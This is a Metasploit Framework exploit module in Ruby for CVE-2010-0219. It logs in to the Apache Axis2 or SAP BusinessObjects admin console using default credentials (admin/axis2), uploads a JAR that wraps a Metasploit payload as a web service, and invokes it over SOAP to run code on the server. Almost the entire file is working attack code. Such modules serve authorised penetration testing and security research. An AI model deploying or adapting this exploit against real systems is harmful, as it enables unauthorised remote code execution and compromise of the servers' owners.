Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)



##

# $Id: axis2_deployer.rb 11330 2010-12-14 17:26:44Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit
    Rank = ExcellentRanking

    HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
            'Version'        => '$Revision: 11330 $',
            'Description'    => %q{
                    This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
                and uploads and executes commands via deploying a malicious web service by using SOAP.
            },
            'References'  =>
                [
                    # General
                    [ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
                    [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
                    [ 'CVE', '2010-0219' ],
                ],
            'Platform'    => [ 'java', 'win', 'linux' ], # others?
            'Targets'     =>
                [
                    [ 'Java', {
                            'Arch' => ARCH_JAVA,
                            'Platform' => 'java'
                        },
                    ],
                    #
                    # Platform specific targets only
                    #
                    [ 'Windows Universal',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        },
                    ],

                    [ 'Linux X86',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'linux'
                        },
                    ],
                ],
            'Author'         => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
            'License'        => MSF_LICENSE
        ))

        register_options(
            [
                Opt::RPORT(8080),
                OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
                OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
                OptString.new('PATH', [ true,  "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
            ], self.class)
        register_autofilter_ports([ 8080 ])
    end

    def upload_exec(session)
        contents=''
        name = Rex::Text.rand_text_alpha(8)
        services_xml = %Q{
<service name="#{name}" scope="application">
    <description>
        #{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
    </description>
    <messageReceivers>
        <messageReceiver
            mep="http://www.w3.org/2004/08/wsdl/in-only"
            class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
        <messageReceiver
            mep="http://www.w3.org/2004/08/wsdl/in-out"
            class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
    </messageReceivers>
    <parameter name="ServiceClass">
        metasploit.PayloadServlet
    </parameter>
</service>
}
        if target.name =~ /Java/
            zip = payload.encoded_jar
            zip.add_file("META-INF/services.xml", services_xml)

            # We need this class as a wrapper to run in a thread.  For some reason
            # the Payload class is giving illegal access exceptions without it.
            path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
            fd = File.open(path, "rb")
            servlet = fd.read(fd.stat.size)
            fd.close
            zip.add_file("metasploit/PayloadServlet.class", servlet)

            contents = zip.pack
        else

        end

        boundary = rand_text_alphanumeric(6)

        data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
        data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
        data << contents
        data << "\r\n--#{boundary}--"

        res = send_request_raw({
            'uri'     => "/#{datastore['PATH']}/axis2-admin/upload",
            'method'  => 'POST',
            'data'    => data,
            'headers' =>
            {
                'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
                'Content-Length' => data.length,
                'Cookie' => "JSESSIONID=#{session}",
            }
        }, 25)

        if (res and res.code == 200)
            print_status("Successfully uploaded")
        else
            print_error("Error uploading #{res}")
            return
        end
=begin
        res = send_request_raw({
            'uri'    => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
            'method'  => 'GET',
            'headers' =>
            {
                'Cookie' => "JSESSIONID=#{session}",
            }
        }, 25)
        puts res.body
        puts res.code
        if res.code > 200 and res.code < 300
            if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
                dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
                puts dir
            else
                if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
                    dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
                    puts dir
                end
            end
        end
=end


        soapenv='http://schemas.xmlsoap.org/soap/envelope/'
        xmlns='http://session.dsws.businessobjects.com/2007/06/01'
        xsi='http://www.w3.org/2001/XMLSchema-instance'

        data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
        data << '<soapenv:Envelope xmlns:soapenv="' +  soapenv + '"  xmlns:ns="' + xmlns + '">' + "\r\n"
        data << '<soapenv:Header/>' + "\r\n"
        data << '<soapenv:Body>' + "\r\n"
        data << '<soapenv:run/>' + "\r\n"
        data << '</soapenv:Body>' + "\r\n"
        data << '</soapenv:Envelope>' + "\r\n\r\n"

        print_status("Polling to see if the service is ready")
        1.upto 3 do
            Rex::ThreadSafe.sleep(3)

            res = send_request_raw({
                'uri'          => "/#{datastore['PATH']}/services/#{name}",
                'method'       => 'POST',
                'data'      => data,
                'headers' =>
                    {
                        'Content-Length' => data.length,
                        'SOAPAction'    => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
                        'Content-Type'  => 'text/xml; charset=UTF-8',
                    }
            }, 15)
            if res.code > 200 and res.code < 300
                print_status("")
                print_status("NOTE: You will need to delete the web service that was uploaded.")
                print_status("Using meterpreter:")
                print_status("rm \"webapps/#{datastore['PATH']}/WEB-INF/services/#{name}.jar\"")
                print_status("Using the shell:")
                print_status("cd  \"webapps/#{datastore['PATH']}/WEB-INF/services\"")
                print_status("del #{name}.jar")
                print_status("")
                break
            end

        end

    end

    def exploit
        user = datastore['USERNAME']
        pass = datastore['PASSWORD']
        path = datastore['PATH']
        success = false
        srvhdr = '?'
        begin
            res = send_request_cgi(
                {
                    'method' => 'POST',
                    'uri'    => "/#{path}/axis2-admin/login",
                    'ctype'  => 'application/x-www-form-urlencoded',
                    'data'   => "userName=#{user}&password=#{pass}&submit=+Login+",
                }, 25)

            if not (res.kind_of? Rex::Proto::Http::Response)
                raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding")
            end

            if res.code == 404
                raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404")
            end

            srvhdr = res.headers['Server']
            if res.code == 200
                # Could go with res.headers["Server"] =~ /Apache-Coyote/i
                # as well but that seems like an element someone's more
                # likely to change

                success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
                if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
                    session = $1
                end
            end

        rescue ::Rex::ConnectionError
            print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication")
        end

        if success
            print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
            upload_exec(session)
        else
            print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
        end
    end

end